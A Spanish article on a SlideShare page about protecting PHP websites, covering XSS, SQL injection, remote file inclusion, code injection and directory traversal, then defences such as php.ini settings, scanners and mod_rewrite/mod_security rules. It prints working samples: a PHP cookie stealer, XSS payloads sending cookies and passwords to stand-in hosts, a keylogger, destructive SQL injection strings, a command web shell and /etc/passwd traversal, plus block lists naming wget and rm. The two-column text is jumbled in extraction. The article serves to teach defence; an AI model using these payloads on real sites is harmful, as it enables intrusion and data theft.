Proteger nuestras webs PHP de ataquesFrederic Montes Quilesfrederic@phpauction.netFDL DocumentAbstract                    ...
sistemas, programadores y usuarios que lo                solicitado, apoderándose de su cookie y, por losufren, como por e...
enviara mediante POST y un distinguidoformulario con el aspecto de la página para que        1 OR 1=1 UNION SELECT * FROM ...
no que además podrá leer ficheros, modificarlos,           estado establecido como request_globals = on,e incluso adueñars...
Evitar ataques                                        siendo cada vez menos efectivo, pero es un                          ...
comandos sensibles que no queremos (y noPHP.INI                                              debemos) utilizar:¿Qué clase ...
práctica de traversal directories.Acunetix                                                         PHP IDSAcunetix, que go...
SecFilter "^HEAD (http|https|ftp):/"                                                                   #Proxy POST Request...
POST también son tratados y, en general, todas Enlaces de interéslas cabeceras y todos los ataques comunespueden ser recha...
Upcoming SlideShare
Loading in …5
×

Art hack web-v1-4

1,121 views

Published on

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,121
On SlideShare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
11
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Art hack web-v1-4

  1. 1. Proteger nuestras webs PHP de ataquesFrederic Montes Quilesfrederic@phpauction.netFDL DocumentAbstract un HTML Injection, o incluyendo todo tipo deDesde que se publicaron las primeras páginas ataques com SQL Injection, Remote Filewebs, los adictos al fastidio, información o Inclusión y demás.tiempo ajeno no han parado de realizar actos a Para ser un poco más genéricos y a la veztravés de los cuales se producían accesos exactos en nuestra terminología, vamos aremotos con el fin de ver, modificar y borrar centrarnos en los “Ataques a nuestra web” ycontenidos remotos. Además, la suplantación listando los diferentes tipos de conocidos, sean ohace que un usuario “inocente” se vea ante la no XSS.posibilidad de que alguien en su nombre se tomedeterminadas licencias que puedan serperjudiciales a terceros y por ende a éste mismo. HTML InjectionÚltimamente este tipo de ataques se han SQL Injectionespecializado y ya gozamos con una amplia Remote File Inclusionclasificación de los mismos, encontrándonos con PHP Code Injectionterminología como XSS, SQL-Injection, RFI, PHP Traversal directoriesCode injection, robo de cookies, ejecución Cross Frame Scriptingremota... El objetivo de este artículo es realizar LDAP Injectionun estudio más o menos completo de las Cookie Manipulationdiferentes formas de ataque y, lo más URL Redirection (cañas de pescar)importante, cómo lograr evitarlas. Code Execution ... Introducción Como vemos existen muchas maneras de queSegún la wikipedia: nuestro servidor web sea sensible a todo tipo de“XSS es un ataque basado en explotar ataques, algunos de ellos pueden derivar en unvulnerabilidades del serio problema para los profesionales y sistema de validación de HTML incrustado. Su particulares que ven así como parte de sunombre original "Cross Site Scripting", y trabajo está destinado a resolver los problemasrenombrado XSS para que no sea confundido que se ocasionan.con las hojas de estilo en cascada (CSS),originalmente abarcaba cualquier ataque quepermitiera ejecutar código de "scripting", en elcontexto de otro dominio. “ Qué puede ocasionarSe puede percibir a lo largo de la red cómo la Los ataques a la web, sea del tipo que sean,definición de XSS va variando según quién pueden ocasionar toda serie de infortunios yelabora un artículo, pasando de ser únicamente dolores de cabeza a los administradores de
  2. 2. sistemas, programadores y usuarios que lo solicitado, apoderándose de su cookie y, por losufren, como por ejemplo la inyección de virus tanto, pudiéndose hacer pasar por él.en las páginas, iframes ocultos que ejecutancódigo arbitrario, ejecución de comandos del Aquí vemos un ejemplo de un “robador deservidor (c99shell.php), troyanos de todo tipo, cookies” en PHP:phishing, accesos no permitidos, lectura de <?phpcontraseñas, ficheros remotos, suplantaciones, $cookie = $_GET[cookie];  $f= fopen("archivo.txt","a");visión de datos privados y sensibles e incluso,  fwrite($f, "$cookie n" ) ;dependiendo de la ética del atacante, el borrado  fclose($f)de los datos.  ;?>Los atacantes suelen utilizar entre un 70 o 90% Ya vemos que en dicho fichero se guardará lade los servidores para realizar un ataque a cookie de la víctima. Es más, podríamos hacerloterceros, sea mediante phising (envío de e-mails de una manera un poco más sutil y emplear uny programas incrustados simulando una entidad iframe para hacerlo, así, cuando un usuario veabancaria), spam, o incluso D.O.S (Denegación de la página con nuestro código malicioso, no seServicio), y para ello utilizan toda una serie de enterará que su cookie va viajando a través de latécnicas que procederemos a ver ahora. red a otro ordenador. Ajax también ofrece algún tipo de herramientas para el “hacker” aunque las Vulnerabilidades peticiones están restringidas a la propia web que las contiene:HTML Injection http://www.cgisecurity.com/ajax/Empezaremos por meternos en la piel delatacante que acaba de abrir un navegador y está Al primero de los ataques podríamos llamarlo noa punto de ejercitar todo su empeño en buscar persistente, pues dicho link deberíamosuna vulnerabilidad en nuestro sistema. “pasarlo” a nuestros amigos para que pudieranUna buena forma de intentarlo sería emplear el hacer uso de él. Al segundo, y más peligroso, sebuscador que casi todos los sites tienen. En el le llama persistente, pues el script maligno yacampo de texto podríamos introducir el siguiente está publicado para todo el mundo, y el atacantecódigo: sólo tiene que sentarse a esperar.<script>alert("Aqui hay un bug”);</script>Si nos saliera una ventana de Javascript diciendo“Aqui hay un bug” nos encontraríamos con laprimera vulnerabilidad en nuestro sistema.Así pues, podríamos poner el siguiente:<script>document.documentElement.innerHTML="HTMLnuevo”;</script> Juguemos ahora un poco con la ingenuidad del usuario medio: <script language="javascript"> var password = prompt("La sesión ha terminado. Por favor, vuelva a introducir su clave:"); document.location.href="http://elqueataca.hack/pesca. php?passwd=" + password; </script>Con lo que ya tendríamos que dicha web podríacambiar su contenido HTML desde nuestro O un poco más elaborado:navegador. Obviamente con estos datos pocopodremos hacer, pero ya es una señal de que <script language="javascript"> var password = prompt("La sesión ha terminado. Poralgo bien no está programado en la web (o no favor, vuelva a introducir su clave:");previsto). document.write("<iframeImaginemos ahora mismo que este mismo de src=http://elqueataca.hack/pesca.php?passwd=" +error se puede encontrar en un foro con acceso password+" style=display:none;></iframe>"); </script>al público, y donde se pudieran dar esta formade ataques: Así, el usuario ha podido “darnos” su contraseña<script>window.location=http://www.webataca.com/cook sin que se haya dado cuenta de lo que ha pasado.ie.php?cookie=+document.cookie; </script> Por supuesto el segundo método es mucho más sutil y con grandes ventajas para el atacante.En este momento ya estamos redirigiendo a También podríamos usar un div oculto que noscualquier víctima a una página remota que no ha
  3. 3. enviara mediante POST y un distinguidoformulario con el aspecto de la página para que 1 OR 1=1 UNION SELECT * FROM Clientes WHERE id <> ya tengamos usuario/password y algún otro datomás que necesitemos. Imaginemos el siguiente código PHP para este buscador:Así pues, vemos que con este tipo de ataques, $q = $_GET[buscador];que pueden ser muchos y muy variados, $sql = “SELECT user FROM buscador WHERE q=$q”;dependiendo del ingenio del atacante, podremostener toda una serie de ventajas al poder En realidad estaremos ejecutando:controlar Javascript a nuestro antojo y dejarlopersistentemente en la máquina víctima. $sql = “SELECT user FROM buscador WHERE q=1 OR 1=1 UNION SELECT password FROM Clientes WHERE id <> ”;Básicamente, toda las variaciones de este ataquepueden estar contenidas en un uso coordinado y Así que devolveremos todos los clientes aleficaz del javascript y las propiedades DOM usuario. Por supuesto esta sentencia podríamos(Document Object Model) para insertar, cambiarla por:modificar o borrar elementos del HTML.Manejando la captura de eventos, por ejemplo, 1 OR 1=1; DROP TABLE Clientes; SELECT * FROM datos WHERE id LIKE %sería posible programar un sniffer queacompañara al usuario por toda su visita a la Con lo que ya tenemos un borrado total de laweb, adueñándonos de cada evento de la tecla base de datos.pulsada para guardarnos dicha tecla y, por ende, Nótese que las instrucciones mysql_query NOusuarios, passwords, e-mails, datos personales... permiten este tipo de concatenación dedocument.onkeydown = keyDown; comandos con el fin de evitar este tipo de casos.document.forms[0].onsubmit = mostrar;var txt = ""; En este momento seguramente se estaráfunction keyDown (evento) pensando en cómo recuperar estos datos de la{// Recuperamos evento y tecla base de datos “datos”, “id”, “Clientes”. Bien,var objEvento =window.event? event : evento; utilizando los mismos métodos es sencillovar tecla = objEvento.keyCode? objEvento.keyCode : realizar un “sondeo” de lo que hay detrás,objEvento.charCode; introduciendo un comando incorrecto avar caracter = propósito:String.fromCharCode(tecla).toLowerCase();if (tecla == 9) {caracter = " <tab> ";} mySQL error: You have an error in your SQL syntax;if (objEvento.shiftKey) { check the manual that corresponds to your MySQL caracter = server version for the right syntax to use near FROMString.fromCharCode(tecla).toUpperCase(); Clients ORDER by id at line 1}textocapturado += "" + caracter; Eso sin contar la de veces que nos} encontraremos la Query SQL entera debido a que el programador la muestra para saber de dónde viene el error.SQL Injection UNION ALL SELECT userid, CONCAT(username, , password) FROM Clients WHERE =Una de las formas más habituales de programaruna web es teniendo una base de datos que nos En esta sentencia, podemos apoderarnos delofrezca una forma eficaz de guardar datos usuario y password (si es que no se ha tenido lapersistentemente, ofreciéndonos los beneficios decencia de encriptarlo con un algoritmode las bases de datos relacionales, las ventajas unidireccional) para poder entrar con los quede un meta lenguaje sencillo y una interfaz para necesitemos.realizar todo tipo de operaciones complejas.Es por el hecho de que la base de datos sea el Especial caso nos merece las siguienteslugar más común donde guardar los datos de un secuencias de código que no incluyen un “quote”aplicativo, desde los menos sensibles: contenido o comilla simple o doble para introducir código.visible, mensajes de texto, países, categorías,etcétera, a los más sensibles: usuarios, 0 UNION ALL SELECT userid, CONCAT(username, ,contraseñas, e-mails, cuentas corrientes, VISA,.. password) FROM Clients WHERE 1 Lo que nos lleva a rechazar el uso un sistema deEl ataque típico de SQL Injection se basa en un escape para las comillas, al menos ya vemos queprincipio muy similar al del HTML Injection: no es el único sistema. En el siguiente ejemplo,aprovechar la incorrecta manipulación de los podemos ver cómo utilizar la inyección de datosparámetros por parte de alguna aplicación web y utilizando la propiedad de MySQL LIMIT:saltarse la seguridad ejecutando código no o=999999, 10 UNION ALL SELECT username, password FROMdeseado en nuestra web. Clients LIMIT 0Imaginemos una base de datos llamada “Site” y Una vez superados estos SQL “sencillos”,una tabla llamada clientes. Si aprovechamos las deberíamos empezar a preocuparnos por otrovulnerabilidades de un buscador e incluimos lo tipo de SQL Injecton que, no sólo nos leerá,siguiente en el campo de búsqueda modificará o borrará datos de nuestro sistema, si
  4. 4. no que además podrá leer ficheros, modificarlos, estado establecido como request_globals = on,e incluso adueñarse de contraseñas que, por un atacante podría realizar:defecto, no están encriptadas, como la delusuario de la base de datos. http://www.victima.org/? include_path=http://www.maligno.com/rfi.php??SELECT LOAD_FILE(0x633A5C626F6F742E696E69) Con lo que nuestro /config.inc.php se quedaríaEste ejemplo nos va a leer nuestro fichero en un triste método GET, y el código que sec:boot.ini utilizaría sería el que el ser malvado haya ideadoPodríamos tener ejemplos de este estilo: para sus negros propósitos.SELECT * INTO OUTFILE /tmp/clients.txt FROM Clients Code InjectionY de la misma forma rellenar ese fichero con los En el caso de PHP, por supuesto, el más famosodatos que nosotros queramos resulta de una mala utilización de la sentenciaSELECT 0x61626... INTO OUTFILE /tmp/c99shell.php eval() $myvar = "varname";Remote File Intrusion $x = $_GET[arg]; eval("$myvar = $x;"); $ mivar = "varname",Según esta última sentencia SQL, nuestro site $x = $ _GET [ arg];está totalmente expuesto a la inyección de eval ( " $ myvar = $ x;");ficheros para la ejecución remota. Un ejemplomuy extendido es el del c99shell.php (que no Donde un usuario podría fácilmente introducirsiempre lo encontraremos con ese nombre por un phpinfo(), un exec(), fopen(),razones obvias), y cuyo código puede verse en: file_get_contents() o cualquier tipo de comando PHP que pudiera destinarse a sus intenciones.http://hcr.3dn.ru/expl/php/c99shell.txtTambién podemos encontrar ficheros del Traversal Directoriessiguiente tipo:http://hcr.3dn.ru/expl/php/r57shell.txt Este popular sistema es muy similar (de hecho podríamos decir que es un subconjunto) alEste tipo de ficheros conforman lo que se llaman Remote File Inclusión; dicha técnica se basa enlos Remote File Intrusion, o lo que es lo mismo, la situación que se deriva de utilizar include,la intrusión mediante ficheros remotos. Es decir, include_once, require, require_once sin cuidado:un fichero que no tenemos controlado se hacolado en nuestro servidor, y, como en el caso de http://www.victima.org/show.php?c99shell.php, puede realizar un examen view=../../../../../etc/passwdexhaustivo de nuestro servidor, hacer uploads,navegar por directorios, con lo que esa pequeña Nos mostraría el contenido de nuestro fichero depuerta ya nos ha abierto la posibilidad de passwords.phishing, virus, troyanos y demás. En otro ejemplo muy similar, pero utilizando unaEl típico RFI que nos podemos encontrar podría conexión telnet para enviar las cabecerastener un aspecto como el que sigue: adecuadas:<? <?php $cmd = $_GET[cmd]; $template = blue.php; system($cmd >> /var/www/resultado.txt); if ( isset( $_COOKIE[TEMPLATE] ) )?> $template = $_COOKIE[TEMPLATE]; include ( "/var/www/appl/templates/" . $template ); ?>Tan fácil como pasarle un comando por variableGET: GET /vulnerable.php HTTP/1.0http://www.victima.org/rfi.php?cmd=ls -al e Cookie:ir a resultado.txt (el document_root de la página TEMPLATE=../../../../../../../../../etc/passwdweb, para ver cuál ha sido el resultado denuestras perversiones. Así la respuesta sería, de nuevo, el fichero de passwords de nuestro sistema *NIX.Una maléfica forma de realizar un RFI es Para evitar que dichos ataques seanempleando uno de los métodos más conocidos contrarrestados con aparente facilidad, lospor PHP para incluir ficheros remotos: atacantes podrían emplear las siguientesinclude, require, include_once, require_once. variaciones:Eso, combinado con una incorrectaconfiguración de nuestro servidor podría dar %2e%2e%2f -> ../lugar a líneas de código tan espantosas como: %2e%2e%5c -> ..include $path_url. /config.inc.php;Digo espantosas, porque si nuestro servidor ha
  5. 5. Evitar ataques siendo cada vez menos efectivo, pero es un obstáculo más para los atacantes.La lista de los ataques mencionadosanteriormente puede crecer conforme uno vainvestigando por Internet y la lista seríainterminable. Cada uno de los ataques se vansucediendo a través de aplicaciones web, siendoéstos casi imposibles de neutralizar al cien porcien. Una buena forma de proteger nuestros sites de HTML Injection sería utilizando la clase HTMLEn este escenario, podríamos encontrarnos con Purify (http://htmlpurifier.org/) dondedos situaciones bien diferentes: podremos “limpiar” nuestro código de posibles Tener un site montado y tener que intrusiones maliciosas, al a vez que verificar que protegerlo el mismo código aceptado se adecue a los Programar un site desde cero estándares XHTML. Al mismo tiempo, esta clase tiene la particularidad de que se puedenEn ambos casos, un conocimiento más o menos “extender” sus métodos para permitir nuevosexhaustivo de las técnicas empleadas por los HTML en un formato concreto (por ejemplohackers serán apreciadas por vuestro servidor Youtube).de manera inconmensurable, así como lasuscripción a newsletter o websites dedicados a Otra buena forma sería mediante una lista dela seguridad, donde se establecen los diferentes tipos esperados y tipos recibidos, haciendo unaataques a aplicaciones conocidas, parches comparación de los parámetros recibidos, ya seanuevos al lenguaje de programación, al sistema por GET o POST, y que éstos coincidan: sioperativo, al servidor web. esperamos un Int y recibimos un String, lo másEn todo caso, la actualización constante de los probable es que algo malo esté sucediendo ahí:sistemas nos evitará una gran pérdida de tiempo $id = intval ($_GET[id]);ulterior al encontrarnos con que nuestro sistemaha sido agujereado por una rencilla descubierta Tener especial cuidado con la inclusión deal tener una versión antigua de nuestro entorno. código mediante variables también es una buena práctica. Mientras que:Escape de las entradas  include ( “/var/www/”. $template ) Para muchos la manera ideal de proteger un site. puede darnos lugar a experiencias no gratas, unaComo ya hemos visto en alguno de los casos no programación de este tipo:nos es útil.  switch ( $include )Los más habituales son el uso de:   {     case “pink”: addslashes() / stripslashes()        include ( “/var/www/pink/index.html”); htmlentities($string, ENT_QUOTES)     break; htmlspecialchars()     case “yellow”:        include ( “/var/www/yelloww/index.html”); mysql_real_string()     break;     default:Teniendo activadas las magic_quotes_gpc en        die (“Template no existente”);nuestro php.ini, que nos pondrá por defecto un   }slash en todos los strings (evitando los tediososaddslashes()) En todo caso, y para evitar largas listas de switch, if y demás, podríamos comprobar queEn todo caso, el uso de dichos elementos nos primero existe el fichero:podrá salvar de muchos de los ataques.Evitar, salvo en casos necesarios, que los  $template = str_replace(“..”, “”, $template);formularios POST se llamen desde otro dominio  if (file_exists ( “/var/www/”. $template ))  include ( “/var/www/”. $template ) que no sea el del propio servidor. En este caso,nos evitaremos que un atacante avezado utiliceun script a tal efecto para ir bloqueando nuestroservidor y llenándolo de datos inútiles. Códigos de seguridadUn invento antiguo para evitar los ataques debots, sería la utilitzación el sistema Captcha Otra de las medidas efectivas contra la ejecución indiscriminada de pruebas mediante bots sería la introducción de códigos de seguridad que“Completely Automated Public Turing test to nosotros, mediante programación, podemos irtell Computers and Humans Apart (Prueba de asignando a cada par usuario/formulario. Así, siTuring pública y automática para diferenciar a el código de seguridad, que expirará al cabo demáquinas y humanos). “ - Wikipedia un tiempo, no coincide con el que recibimos, es obvio que nos encontramos con un ataque enQue es la famosa imagen que nos encontramos toda regla.deformada (ilegible a veces) para que ningún botpueda leerla. Eso, con el paso del tiempo, viene
  6. 6. comandos sensibles que no queremos (y noPHP.INI debemos) utilizar:¿Qué clase de configuración sería la óptima para disable_functions <lista de funciones>que un sistema PHP fuera más seguro contra disable_classes <lista de clases>todo tipo de ataques?Es obvio que la panacea no está en encontrar unsistema de directivas globales, pero sí que nospueden ayudar en la consecución de dificultardichos ataques. Escaneo de puertosEstas directivas serían: Una manera de evitar ataques a todo sistema operativo, ya sea mediante web o mediante cualquier otro tipo de vulnerabilidad, seríaopenbase_dir mediante la ejecución de código remoto oEsta directiva bien configurada evitará los inyección de código no deseado en servicios queataques trasversal directories, debido a que puedan tener relación con nuestro sistema.limita ejecución de ficheros al entorno queescojamos. Para ello se recomienda ejecutar un escaneo de puertos de nuestra máquina (no únicamenteallow_furl_open off puerto 80-http o 443-SSL) para averiguar lasEs importante que esta directiva esté en OFF posibles vulnerabilidades o exploits que puedanpara evitar Remote File Inclusion, ya que la afectar a nuestro sistema y servidor web:inhabilitación de esta directiva no permitirá a laaplicación hacer include remotos. Los más conocidos son nmap y nessus. El funcionamiento de nmap puede llegar a serregister_globals off sencillo, aunque tiene un despliegue de opcionesComo ya hemos explicado, quizá la más maléfica que de buen seguro mucha gente encontrará(y obsoleta) forma de que nuestros atacantes interesante.desplieguen todo su potencial es mediante esta Una ejecución de este programa puede dar lugardirectiva activada. Es decir, cualquier parámetro a un resultado como este:que nos venga por POST o GET puede ser unavariable potencialmente peligrosa en nuestro Starting   Nmap   4.53   (   http://insecure.org   )   at  2008­06­03 12:05 CESTaplicativo. Así, cualquier parámetro externo se Interesting ports on 192.168.1.1:tratará de forma cuidad con $_GET[param], Not shown: 1711 closed ports$_POST[param], $_FILES[param] para PORT   STATE SERVICE 21/tcp open  ftpestablecer qué tipo de variables son externas y 23/tcp open  telnetcuáles no. No se recomienda, a no ser que se 80/tcp open  httptenga muy claro qué se está haciendo, el uso de MAC   Address:   00:02:CF:81:6F:89   (ZyGate $_REQUEST, pues ahí puede entrar cualquier Communications)cosa que nos venga externamente, y fácilmente Nessus, en cambio, nos ofrecerá unapodrían introducirnos valores no esperados. herramienta cliente/servidor que utilizará una base de datos con las vulnerabilidades quesafe_mode on estadísticamente han podido ocasionarEsta directiva activada evitará la ejecución de “desastres” y nos avisa mediante este escaneo.algunos comandos potencialmente dañinos en La interfaz, además, es bastante más amigable ynuestro sistema, además del chequeo de ciertas nos mostrará unas estadísticas de los procesosfunciones que puedan considerarse delicadas. ejecutados.Una lista de dichas funciones puede encontrarseaquí: Escaneo de vulnerabilidades webhttp://es.php.net/manual/en/features.safe-mode.functions.php Más en consonancia con el objetivo de este artículo, están los escaneos de vulnerabilidadesHay que tener en cuenta que esta directiva propiamente web.también desaparece en la versión PHP 6.x Estos escaneos se pueden basar en variasEspecial atención merecen también las premisas, empleando sistemas de conocimiento,directivas “safe_mode*” que componen la familia funciones heurísticas e incluso técnicas fuzz, quesafe mode: veremos más adelante.safe_mode_gid Una buena combinación de estos elementossafe_mode_include_dir puede darnos muchas pistas a la hora desafe_mode_exec_dir proteger nuestro site y llegar donde nosotros nosafe_mode_allowed_env_vars alcanzamos.safe_mode_protected_env_vars Empecemos por los escaneadores automáticosPor último, unas funciones que, según la más empleados y populares.casuística de nuestro aplicativo pudieraevitarnos algún susto por la ejecución de
  7. 7. práctica de traversal directories.Acunetix PHP IDSAcunetix, que goza de una versión Free Edition(sólo para HTML Injection), pero con una gran http://php-ids.org/variante de sistemas de inyección, una base dedatos amplia y una interfaz muy amigable. PHP-IDS es un sistema basado en PHP que actúaLos procesos por los que puede “atacarse” como IDS (Intrusion Detect System) y que sepueden ser varios y los perfiles de ataque – si se aplica a todos nuestros archivos buscando algúntiene la versión de pago – de los más variopintos, tipo de inyección o vulnerabilidad.muchos de ellos ya los hemos visto aquí. Puede detectar desde XSS, SQL Injection, RFI y ataques LDAP Injection y tiene incluso hastaSSS (Shadow Security Scanner) módulos especializados para distintos tipos de CMS.Similar al anterior en cuanto a sistema web(quizá no tan completo) pero que ofrece tambiénel sondeo de otros protocolos como FTP, Módulos ApacheNetBios, módulos de Apache del que se tenganconstancia que hay vulnerabilidades. De entre ellos, existen muchos que nos pueden ayudar a nuestro cometido, aunque nosTécnicas Fuzz centraremos en los siguientes: Se llama fuzzing a las diferentes técnicas de mod_rewritetesteo de aplicativos que generan datos Famoso sobre todo para el uso de URL-Friendly,secuenciales y aleatorios para obtener así las pues reescribe la entrada transformándola envulnerabilidades de la victima. Este sistema de otras “Human readibility”.testeo puede ser muy potente pues combina la Personalmente recomiendo el uso dealeatoriedad en los ataques con ataques basado mod_security, debido a que mod_rewrite tieneen formatos heurísticos. lógicas limitaciones al no ser un módulo diseñado a tal efecto.Una lista de estos potentes escaneadores devulnerabilidades pueden encontrarse en: No obstante, con este módulo se pueden realizar cosas interesantes, aunque limitándonos a parámetros GET.http://www.infosecinstitute.com/blog/2005/1 Así, exponiendo el .htaccess que utiliza una de2/fuzzers-ultimate-list.html las aplicaciones que estoy realizando: <ifModule mod_rewrite.c>Un ejemplo lo podemos tener ejecutando el         Options +FollowSymlinksWebFuzzer, con licencia GPL, escrito en C:         RewriteEngine On         RewriteCond %{QUERY_STRING} load_file.*(.*) [NC,OR]         RewriteCond %{QUERY_STRING} into.+file [NC,OR]http://gunzip.altervista.org/g.php?         RewriteCond %{QUERY_STRING} into.+outfile [NC,OR]         RewriteCond %{QUERY_STRING} load.+data [NC,OR]f=projects#webfuzzer         RewriteCond %{QUERY_STRING} select.+from [NC,OR]         RewriteCond %{QUERY_STRING} create.+table [NC,OR]         RewriteCond %{QUERY_STRING} drop.+database [NC,OR]./webfuzzer ­P http://192.168.1.100/v4 ­o logfile.txt          RewriteCond %{QUERY_STRING} drop.+database [NC,OR]­sd         RewriteCond %{QUERY_STRING} drop.+table [NC,OR]         RewriteCond %{QUERY_STRING} drop.+column [NC,OR]         RewriteCond %{QUERY_STRING} drop.+procedure [NC,OR]         RewriteCond %{QUERY_STRING} update.+set [NC,OR]Que puede generar una respuesta (de varias         RewriteCond %{QUERY_STRING} insert.+into.+values  [NC,OR]líneas) similar a esto:         RewriteCond %{QUERY_STRING} insert.+into [NC,OR]         RewriteCond %{QUERY_STRING} bulk.+insert [NC,OR]*   ­­ (POST) http://192.168.1.100/v4/login/?goto=/v4/         RewriteCond %{QUERY_STRING} union.+select [NC,OR]&security=7cddf4f40846fc58411d15d73be3c80c&password=p         RewriteCond %{QUERY_STRING} alter.+table [NC,OR]         RewriteCond %{QUERY_STRING} base64_encode.*(.*) assword&user=../../../../../../../../../etc/ [NC,OR]services%00 [N] (HTTP/1.1 302 Found)         RewriteCond %{QUERY_STRING} .txt(?)+$ [NC,OR]  ­­   (POST)   http://192.168.1.100/v4/?         RewriteCond %{QUERY_STRING} (?)+$ [NC,OR]goto=/v4/&security=7cddf4f40846fc58411d15d73be3c80c&p         RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) assword=password&user=../../../../../../../.. [NC,OR]/../etc/services%00 [N] (HTTP/1.1 200 OK)         RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0­9A­Z] {0,2}) [OR]*   ­­ (POST) http://192.168.1.100/v4/login/?goto=/v4/         RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0­9A­Z]&security=7cddf4f40846fc58411d15d73be3c80c&password=p {0,2})assword&user=.../...//.../...//.../...//.../...//.../         RewriteRule .* ­ [F]...//.../...//.../...//.../...//.../...//.../...//etc/services%00 [N] (HTTP/1.1 302 Found)         RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS|  ­­   (POST)   http://192.168.1.100/v4/? HEAD)         RewriteRule .* ­ [F]goto=/v4/&security=7cddf4f40846fc58411d15d73be3c80c&password=password&user=.../...//.../...//.../...//.../         RewriteCond %{HTTP_USER_AGENT} libwww­perl [NC,OR]...//.../...//.../...//.../...//.../...//.../...//...         RewriteCond %{HTTP_USER_AGENT} Indy Library [NC]/...//etc/services%00 [N] (HTTP/1.1 200 OK)         RewriteRule .* ­ [F] </IfModule>Ya se puede observar que en el ejemplomostrado, el escaneo se estaba centrando en la
  8. 8. SecFilter "^HEAD (http|https|ftp):/"  #Proxy POST Request En el ejemplo, que puede utilizarse de forma SecFilter "^POST (http|https|ftp):/"  #Proxy CONNECT Request libre, mejorar y publicar sus mejoras de la SecFilterSelective THE_REQUEST "^CONNECT " manera que se desee, vemos que compara la  query_string con un selección de algunos # Sólo los siguientes content filterataques SQL Injection, HTML Injection, la SecFilterSelective   HTTP_Content­Type   "!(^application/x­www­ form­urlencoded$|^multipart/form­data;)" limitación de los métodos en los que se puede  acceder a la web (REQUEST_METHOD) e incluso # No aceptamos un content­lentgh de un método GET o HEAD SecFilterSelective REQUEST_METHOD "^(GET|HEAD)$" chain el bloqueo de algunos USER_AGENT que se SecFilterSelective HTTP_Content­Length "!^$" utilizan con profusión en ciertos ámbitos de   # Restringimos los métodos que se usarán hackers, como son las librerías Perl. SecFilterSelective REQUEST_METHOD "!^(GET|HEAD|POST)$"    # Sólo las versiones normalesPor supuesto, hay ciertas desventajas, como es la SecFilterSelective SERVER_PROTOCOL "!^HTTP/(0.9|1.0|1.1)$" de que no se puede utilizar en el mismo   # Requerimos el content­length en todos los POSTSdirectorio que un phpMyAdmin, por ejemplo, que SecFilterSelective REQUEST_METHOD "^POST$" chain contendría un .htaccess diferente: SecFilterSelective HTTP_Content­Length "^$"    # Restringimos los transfer­Encoding <IfModule mod_rewrite.c> SecFilterSelective HTTP_Transfer­Encoding "!^$"     RewriteEngine Off   </IfModule> ## ­­ PHP attacks ­­­­­­­­­­­­­­­­­­­­    SecFilterSignatureAction "log,deny,msg:PHP attack"    # Posible código intrusivo  Tampoco están contemplados los métodos POST, SecFilterSelective ARGS_NAMES "^php:/" debido a las limitaciones antes comentadas.   ## ­­ SQL Injection Attacks ­­­­­­­­­­­­­­­­­­­­   mod_security SecFilterSignatureAction "log,deny,msg:SQL Injection attack"    # Generic  SecFilterSelective ARGS "delete[[:space:]]+from"  SecFilterSelective ARGS "drop[[:space:]]+database"  SecFilterSelective ARGS "drop[[:space:]]+table"  SecFilterSelective ARGS "drop[[:space:]]+column"  SecFilterSelective ARGS "drop[[:space:]]+procedure"  SecFilterSelective ARGS "create[[::space:]]+table"  SecFilterSelective ARGS "update.+set.+="  SecFilterSelective ARGS "insert[[:space:]]+into.+values"  SecFilterSelective ARGS "select.+from"  SecFilterSelective ARGS "bulk[[:space:]]+insert"  SecFilterSelective ARGS "union.+select"  SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"  SecFilterSelective ARGS "alter[[:space:]]+table"  SecFilterSelective ARGS "or 1=1­­"  SecFilterSelective ARGS ".+­­"    # MySQL  SecFilterSelective ARGS "into[[:space:]]+outfile" Un módulo especial de seguridad para Apache, SecFilterSelective ARGS "load[[:space:]]+data  SecFilterSelective ARGS "/*.+*/" pero que tiene el inconveniente de que no está  muy extendido su uso, y por lo tanto, muchos ## ­­ Command execution ­­­­­­­­­­­­­­­­­­­­ proveedores de hosting optan por no instalarlo  en sus sistemas. SecFilterSignatureAction   "log,deny,msg:Command   execution  attack"  #   Los   comandos   que   suelen   utilitzarse   en   el   sistema   y   no Un buen sistema de protección de datos basado queremos que se utilicen SecFilterSelective ARGS_VALUES "^(uname|id|ls|rm|kill)" en mod_security podría ser el que sigue: SecFilterSelective ARGS_VALUES "^(ls|id|pwd|wget)"  SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)" <IfModule mod_security.c> # Encendemos el aparato SecFilterEngine On  Existen diferentes técnicas que se utilizan en# Filtramos también los métodos POST dicho módulo y que se resumen en:SecFilterScanPOST OnSecFilterCheckURLEncoding On SecFilterCheckUnicodeEncoding Off   Filtrado de peticiones con SecFIlter# Aceptamos los códigos byte del 1 al 255   Verificación de los rangos, para evitar losSecFilterForceByteRange 1 255  llamados shellcodes vistos más arriba.# Ocultamos nuestro server a las respuestas HTTP   Técnicas antievasion: las rutas sonSecServerSignature "Mocosoft ­ server"  normalizadas #SecUploadDir logs   Acceso a los métodos POST con#SecUploadKeepFiles Off  SecFilterScanPOST # Almacenar sólo los logs relevantes SecAuditEngine RelevantOnly SecAuditLog logs/sec.log   Como podemos ver en el ejemplo anterior,## ­­ Common attacks ­­­­­­­­­­­­­­­­­­­­  nuestro sistema está asegurado contra multitudSecFilterDefaultAction   "deny,log,msg:Common  de ataques y vías de acceso.attacks,status:403"  Incluso podemos enmascarar nuestro servidor y#Web Proxy GET Request  que responda con otro nombre para despistar aSecFilter "^GET (http|https|ftp):/"  nuestro atacante, a la par de que los comandos#Web Proxy HEAD Request 
